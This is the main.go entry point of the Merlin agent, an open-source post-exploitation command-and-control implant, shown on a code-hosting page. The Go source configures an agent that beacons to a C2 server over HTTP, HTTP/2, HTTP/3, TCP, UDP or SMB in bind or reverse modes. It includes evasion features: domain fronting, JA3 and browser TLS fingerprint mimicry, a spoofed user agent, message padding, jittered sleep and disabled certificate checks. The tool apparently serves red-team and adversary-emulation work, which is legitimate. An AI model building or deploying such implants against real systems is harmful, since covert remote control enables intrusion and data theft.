-
Notifications
You must be signed in to change notification settings - Fork 58
/
Copy pathmain.go
338 lines (293 loc) · 10.2 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2023 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see <http://www.gnu.org/licenses/>.
*/
package main
import (
// Standard
"bufio"
"flag"
"fmt"
"io"
"os"
"strconv"
"strings"
"time"
// 3rd Party
"github.com/fatih/color"
"github.com/google/shlex"
"github.com/google/uuid"
"github.com/Ne0nd0g/merlin-agent/v2/agent"
"github.com/Ne0nd0g/merlin-agent/v2/clients"
"github.com/Ne0nd0g/merlin-agent/v2/clients/http"
"github.com/Ne0nd0g/merlin-agent/v2/clients/smb"
"github.com/Ne0nd0g/merlin-agent/v2/clients/tcp"
"github.com/Ne0nd0g/merlin-agent/v2/clients/udp"
"github.com/Ne0nd0g/merlin-agent/v2/core"
"github.com/Ne0nd0g/merlin-agent/v2/run"
)
// GLOBAL VARIABLES
// These are use hard code configurable options during compile time with Go's ldflags -X option
// auth the authentication method the Agent will use to authenticate to the server
var auth = "opaque"
// addr is the interface and port the agent will use for network connections
var addr = "127.0.0.1:7777"
// headers is a list of HTTP headers that the agent will use with the HTTP protocol to communicate with the server
var headers = ""
// host a specific HTTP header used with HTTP communications; notably used for domain fronting
var host = ""
// ja3 a string that represents how the Agent should configure it TLS client
var ja3 = ""
// killdate the date and time, as a unix epoch timestamp, that the agent will quit running
var killdate = "0"
// listener the UUID of the peer-to-peer listener this agent belongs to, used with delegate messages
var listener = ""
// maxretry the number of failed connections to the server before the agent will quit running
var maxretry = "7"
// opaque the EnvU data from OPAQUE registration so the agent can skip straight to authentication
var opaque []byte
// padding the maximum size for random amounts of data appended to all messages to prevent static message sizes
var padding = "4096"
// parrot a string from the https://github.com/refraction-networking/utls#parroting library to mimic a specific browser
var parrot = ""
// protocol the communication protocol the agent will use to communicate with the server
var protocol = "h2"
// proxy the address of HTTP proxy to send HTTP traffic through
var proxy = ""
// psk is the Pre-Shared Key, the secret used to encrypt messages communications with the server
var psk = "merlin"
// secure a boolean value as a string that determines the value of the TLS InsecureSkipVerify option for HTTP
// communications.
// Must be a string, so it can be set from the Makefile
var secure = "false"
// sleep the amount of time the agent will sleep before it attempts to check in with the server
var sleep = "30s"
// skew the maximum size for random amounts of time to add to the sleep value to vary checkin times
var skew = "3000"
// transforms is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
// that will be sent to the server
var transforms = "jwe,gob-base"
// url the protocol, address, and port of the Agent's command and control server to communicate with
var url = "https://127.0.0.1:443"
// useragent the HTTP User-Agent header for HTTP communications
var useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
func main() {
verbose := flag.Bool("v", false, "Enable verbose output")
version := flag.Bool("version", false, "Print the agent version and exit")
debug := flag.Bool("debug", false, "Enable debug output")
flag.StringVar(&auth, "auth", auth, "The Agent's authentication method (e.g, OPAQUE")
flag.StringVar(&addr, "addr", addr, "The address in interface:port format the agent will use for communications")
flag.StringVar(&transforms, "transforms", transforms, "Ordered CSV of transforms to construct a message")
flag.StringVar(&url, "url", url, "A comma separated list of the full URLs for the agent to connect to")
flag.StringVar(&psk, "psk", psk, "Pre-Shared Key used to encrypt initial communications")
flag.StringVar(&protocol, "proto", protocol, "Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1 Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0), tcp-bind, tcp-reverse, udp-bind, udp-reverse, smb-bind, smb-reverse]")
flag.StringVar(&proxy, "proxy", proxy, "Hardcoded proxy to use for http/1.1 traffic only that will override host configuration")
flag.StringVar(&host, "host", host, "HTTP Host header")
flag.StringVar(&ja3, "ja3", ja3, "JA3 signature string (not the MD5 hash). Overrides -proto & -parrot flags")
flag.StringVar(&parrot, "parrot", ja3, "parrot or mimic a specific browser from github.com/refraction-networking/utls (e.g., HelloChrome_Auto)")
flag.StringVar(&secure, "secure", secure, "Require TLS certificate validation for HTTP communications")
flag.StringVar(&sleep, "sleep", sleep, "Time for agent to sleep")
flag.StringVar(&skew, "skew", skew, "Amount of skew, or variance, between agent checkins")
flag.StringVar(&killdate, "killdate", killdate, "The date, as a Unix EPOCH timestamp, that the agent will quit running")
flag.StringVar(&listener, "listener", listener, "The uuid of the peer-to-peer listener this agent should connect to")
flag.StringVar(&maxretry, "maxretry", maxretry, "The maximum amount of failed checkins before the agent will quit running")
flag.StringVar(&padding, "padding", padding, "The maximum amount of data that will be randomly selected and appended to every message")
flag.StringVar(&useragent, "useragent", useragent, "The HTTP User-Agent header string that the Agent will use while sending traffic")
flag.StringVar(&headers, "headers", headers, "A new line separated (e.g., \\n) list of additional HTTP headers to use")
flag.Usage = usage
if len(os.Args) <= 1 {
input := make(chan string, 1)
var stdin string
go getArgsFromStdIn(input, *verbose)
select {
case i := <-input:
stdin = i
case <-time.After(500 * time.Millisecond):
}
if stdin != "" {
args, err := shlex.Split(stdin)
if err == nil && len(args) > 0 {
os.Args = append(os.Args, args...)
}
}
}
flag.Parse()
if *version {
color.Blue(fmt.Sprintf("Merlin Agent Version: %s", core.Version))
color.Blue(fmt.Sprintf("Merlin Agent Build: %s", core.Build))
os.Exit(0)
}
core.Debug = *debug
core.Verbose = *verbose
// Setup and run agent
agentConfig := agent.Config{
Sleep: sleep,
Skew: skew,
KillDate: killdate,
MaxRetry: maxretry,
}
a, err := agent.New(agentConfig)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
// Parse the secure flag
var verify bool
verify, err = strconv.ParseBool(secure)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
// Get the client
var client clients.Client
var listenerID uuid.UUID
switch protocol {
case "http", "https", "h2", "h2c", "http3":
clientConfig := http.Config{
AgentID: a.ID(),
Protocol: protocol,
Host: host,
Headers: headers,
Proxy: proxy,
UserAgent: useragent,
PSK: psk,
JA3: ja3,
Parrot: parrot,
Padding: padding,
AuthPackage: auth,
Opaque: opaque,
Transformers: transforms,
InsecureTLS: !verify,
}
if url != "" {
clientConfig.URL = strings.Split(strings.ReplaceAll(url, " ", ""), ",")
}
client, err = http.New(clientConfig)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
case "tcp-bind", "tcp-reverse":
listenerID, err = uuid.Parse(listener)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
config := tcp.Config{
AgentID: a.ID(),
ListenerID: listenerID,
PSK: psk,
Address: []string{addr},
AuthPackage: auth,
Transformers: transforms,
Mode: protocol,
Padding: padding,
}
// Get the client
client, err = tcp.New(config)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
case "udp-bind", "udp-reverse":
listenerID, err = uuid.Parse(listener)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
config := udp.Config{
AgentID: a.ID(),
ListenerID: listenerID,
PSK: psk,
Address: []string{addr},
AuthPackage: auth,
Transformers: transforms,
Mode: protocol,
Padding: padding,
}
// Get the client
client, err = udp.New(config)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
case "smb-bind", "smb-reverse":
listenerID, err = uuid.Parse(listener)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
config := smb.Config{
Address: []string{addr},
AgentID: a.ID(),
AuthPackage: auth,
ListenerID: listenerID,
Padding: padding,
PSK: psk,
Transformers: transforms,
Mode: protocol,
}
// Get the client
client, err = smb.New(config)
if err != nil {
if *verbose {
color.Red(err.Error())
}
os.Exit(1)
}
default:
if *verbose {
color.Red(fmt.Sprintf("main: unhandled protocol %s\n", protocol))
os.Exit(1)
}
}
// Start the agent
run.Run(a, client)
}
// usage prints command line options
func usage() {
fmt.Printf("Merlin Agent\r\n")
flag.PrintDefaults()
os.Exit(0)
}
// getArgsFromStdIn reads merlin agent command line arguments from STDIN so that they can be piped in
func getArgsFromStdIn(input chan string, verbose bool) {
defer close(input)
for {
result, err := bufio.NewReader(os.Stdin).ReadString('\n')
if err != nil && err != io.EOF {
if verbose {
color.Red(fmt.Sprintf("there was an error reading from STDIN: %s", err))
}
return
}
input <- result
}
}